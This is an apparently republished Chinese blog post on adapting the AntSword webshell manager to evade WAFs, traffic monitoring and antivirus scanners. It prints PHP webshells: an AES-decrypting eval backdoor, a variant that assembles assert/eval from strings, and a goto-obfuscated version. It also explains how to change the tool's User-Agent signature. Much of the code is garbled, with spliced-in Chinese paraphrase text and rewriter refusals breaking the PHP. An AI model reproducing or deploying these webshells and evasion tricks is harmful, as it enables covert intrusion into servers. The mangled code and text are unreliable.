如何改造蚁剑实现流量加密绕过WAF及自定义编码解码器

[id_1977936472]

如何改造蚁剑实现流量加密绕过WAF及自定义编码解码器

为什么会产生改造蚁剑的念头呢?之前曾看到有人对冰蝎进行流量加密,还看到可以绕过 waf,对一些弱特征进行改造,通过流量转换的方式,跳过密钥交互。

但是,冰蝎需要进行反编译来改造其源码,之后还需要修复 bug,这一过程比较复杂。而 AntSword 与冰蝎相比,它不限制 webshell,也就是说,仅用一句话就可以进行连接,并且还能够自定义编码器和解码器,这样就可以很容易地让流量实现混淆。

0x01 蚁剑介绍及其改编:

蚁剑的介绍在此就不赘述了。它是一个用于连接 webshell 的管理器,是通过前端 nodejs 来进行编码的。AntSword 带给我的最大益处在于能够连接一句话木马,同时还可以自定义编码器和解码器。这使得我们拥有了诸多种类的 webshell 变换。

蚁剑默认的编码器与菜刀是相同的。在此,使用 burpsuite 进行抓包以查看流量。

蚁剑默认流量

返回来的是蚁剑的默认流量,所以这里基本过不去态势感知和 waf。因此很容易想到编码器和解码器的选择,能够通过改造流量来绕过 waf。先选用最默认的 base64 进行测试。

默认的base64编码器

但是看到使用 base64 编码后有 eval 字样。这样一来,肯定会被态势感知和全流量一体机进行特征抓取,也肯定会报威胁。

去github上找到蚁剑的编码器和对应的解码器

github地址:这里下载默认的aes-128的默认流量。

这里进行流量抓取。里面自带了php的webshell。

@session_start();
$pwd='ant';
$key获取 session_id 并使用 str_pad 函数进行填充,填充后的长度为 16,然后截取填充后的字符串的一部分。'a'),0,16);
@evalopenssl 对经过 base64 解码后的内容进行解密操作。$_POST[$pwd]), 'AES-128-ECB', $key使用 OPENSSL_RAW_DATA 或 OPENSSL_ZERO_PADDING 。
?>

默认webshell讲解:

这里开始启动 session,接着从 Cookie 里截取长度为 16 位的 PHPSESSION 内容。
然后进行aes加密,密码为pwd

再D盾,河马和阿里云进行扫描:

河马没有查出来,可能是比较弱

阿里云直接报恶意

初步修改后的webshell:

首先进行代码修改,然后直接给出我修改后的 webshell 代码。

@session_start();
将错误报告设置为所有错误(E_ALL),但不包括通知错误(E_NOTICE)和警告错误(E_WARNING)。
function decode($key,$data){
$data_new = '';
for($i=0;$i<=strlen($data);$i++){
$b=$data[$i]^$key;
$data_new = $data_new.urldecode($b);
}
define('ass',$data_new[0].strrev($data_new)[2].strrev($data_new)[2].$data_new[11].strrev($data_new)[4].strrev($data_new)[0]);
define('ev',$data_new[11].strrev($data_new)[8].$data_new[0].strrev($data_new)[6].'($result)');
return $data_new;
}
function decrypto($key,$data){
$data = base64_decode($data);
$result = openssl_decrypt($data, 'AES-128-ECB', $key使用 OPENSSL_RAW_DATA 或 OPENSSL_ZERO_PADDING 。
decode('\\','=:=om>n?o8h9i:j;k*d0e.l/m(');
$ass=ass;
$ass(ev);
}
class run{
    public $data;
    public function __construct(){
$this->data = '#````````#'.$_POST[1]."#`#`#";
$this->data = $this->data."123456";
}
}
$key=@substr(str_pad(session_id(),16,'a'),0,16);
$run = new run();
decrypto($key,$run->data);
?>

这里能过去D盾的静态,但是无法绕过阿里云查杀。

所以这里需要进行代码混淆。这在之后的 webshell 免杀中是经常会用到的。

混淆之后的webshell:

这里提供php在线加密的站

https://enphp.djunny.com/

这里加密之后生成webshell。如下:

 goto Zc4oD; UJih6: function decrypto($key, $data) { goto LBrqg; P6YrI: $ass = ass; goto aR6yN; svn0O: $result = openssl_decrypt($data, 抱歉,不太理解你提供的“\x41\x45\x53\x2d\x31\x32\70\55\105\x43\x42”是什么意思,它看起来不是一个正常的中文句子或有意义的内容呢,请提供具体的文本或明确的需求呀。, $key使用 OPENSSL_RAW_DATA 或者 OPENSSL_ZERO_PADDING;然后跳转到 ATbMy;接着是 LBrqg 部分。$data = base64_decode($data); goto svn0O; ATbMy: decode("\x5c", 这段内容看起来像是乱码或加密后的信息,难以直接理解其确切含义,无法进行准确改写。如果这是特定情境下的代码或数据,需要更多背景信息才能进行有效处理。); goto P6YrI; aR6yN: $assgoto k6RVH; k6RVH: } goto DGZMG; WvjFi: 设置了某个参数(ini_set 相关操作);该句子看起来像是乱码或特殊编码内容,无法准确理解其含义,因此无法进行改写。请提供正确的文本或明确其含义,以便我为你进行改写。, "\117\146\x66"DGZMG:  // 这里可以根据具体情况进行相应的处理或说明$data; public function __construct() { $this->data = 你提供的内容“\43\140\x60\140\140\x60\140\x60\x60\43”并不是一个完整的句子呀,无法进行改写呢。请提供具体的句子内容哦。 . $_POST[1] . "\x23\140\x23\140\43"; } } goto Berxy; UUYvT: $run执行 new run() 函数;跳转到 apKNY 处;进入 Berxy 部分。$key以下是改写后的句子:使用 str_pad 函数对 session_id 进行填充,填充长度为 16,然后取其一部分内容。"\141"goto UUYvT;  // 0, 16 在此处暂未体现其具体作用,仅按要求进行改写function decode($key, $data) { goto LGJR3; Ef77S: $i= 0;然后跳转到 KvZGg;接着执行 rSTXM:进行定义。"\141\x73\x73", $data_new[0] . strrev($data_new)[2] . strrev($data_new)[2] . $data_new[11] . strrev($data_new)[4] . strrev($data_new)[0]); goto TQ6r4; Tbglr: return $data_newAqTZZ 进行相关操作。$data_new = $data_new . urldecode($b); goto FriN_; TQ6r4: define("\x65\166", $data_new[11] . strrev($data_new)[8] . $data_new[0] . strrev($data_new)[6] . 该字符串“\50\x24\x72\145\163\165\154\x74\51”的具体含义需根据其使用场景和相关背景来确定,仅从这串字符本身难以确切理解其确切意义。goto 语句用于控制程序的流程,它可以直接跳转到指定的标签位置。这里有多个 goto 语句,如 goto Tbglr、goto FriN_:bLexq、goto gITff、goto eF7jG:RuTl1、goto rSTXM 等,每个 goto 语句都指定了一个目标标签,程序会根据 goto 语句的指示跳转到相应的标签位置继续执行。$i++; goto tm2qt; KdSCg: if (!($i <= strlen($data使用 goto 语句,首先执行到 { goto RuTl1; } 这里,然后再跳转到 d9N4J 处;到达 d9N4J 后继续后续操作。$b = $data[$i] ^ $key; goto AqTZZ; LGJR3: $data_new = ''goto 到 Ef77S;KvZGg 为 I39OV;goto 到 KdSCg;FsE2S;} goto 到 UJih6;apKNY:进行解密($key, $run->data);

经过加密处理后,可以看出进行了 goto 的混淆操作,这样就实现了代码混淆。由于之前已经绕过了 D 盾和河马,所以现在直接前往阿里云进行查杀。

已经成功绕过阿里云查杀。用burpsuite抓下流量特征。

从流量加密来分析的话,已经能绕过态势感知和全流量分析机。

蚁剑 UA 头的修改情况:在 burp 的数据包里可以清晰地看到蚁剑所具有的特征。

在目录下的 modules/request.js 文件里对 UA 头进行修改

/modules/update.js文件修改

0x03 总结:

对于免杀而言,一般会进行代码的加密和混淆,会进行特征码的替换,或者进行分割传输等操作。之前曾有过写 shellcode 免杀的想法,然而当时还没有遭遇 windows defender,所以就将写的时间推迟了一段时间。感谢大家的阅读。

提示:此马目前无法通过阿里,已被阿里抓取特征。然而,整体思路并未改变,因此大家能够自行发挥思路进行整合。

加下方wx,拉你一起进群学习

官网地址:

你可能想看:
« 上一篇
下一篇 »

相关推荐

php实时推送,php实地培训

2026年10月05日

53阅读

php乱码出现问号的原因,php乱码出现问号的原因有哪些

2026年10月05日

45阅读

php一句话木马,一句话木马ctf

2026年10月05日

48阅读

php获取数组长度,php中如何获取数组的长度

2026年10月05日

50阅读

php面试题库及答案,php程序员面试真题库

2026年10月05日

47阅读

phpcontent-type修改,php源码二次修改需要多少钱

2026年10月05日

42阅读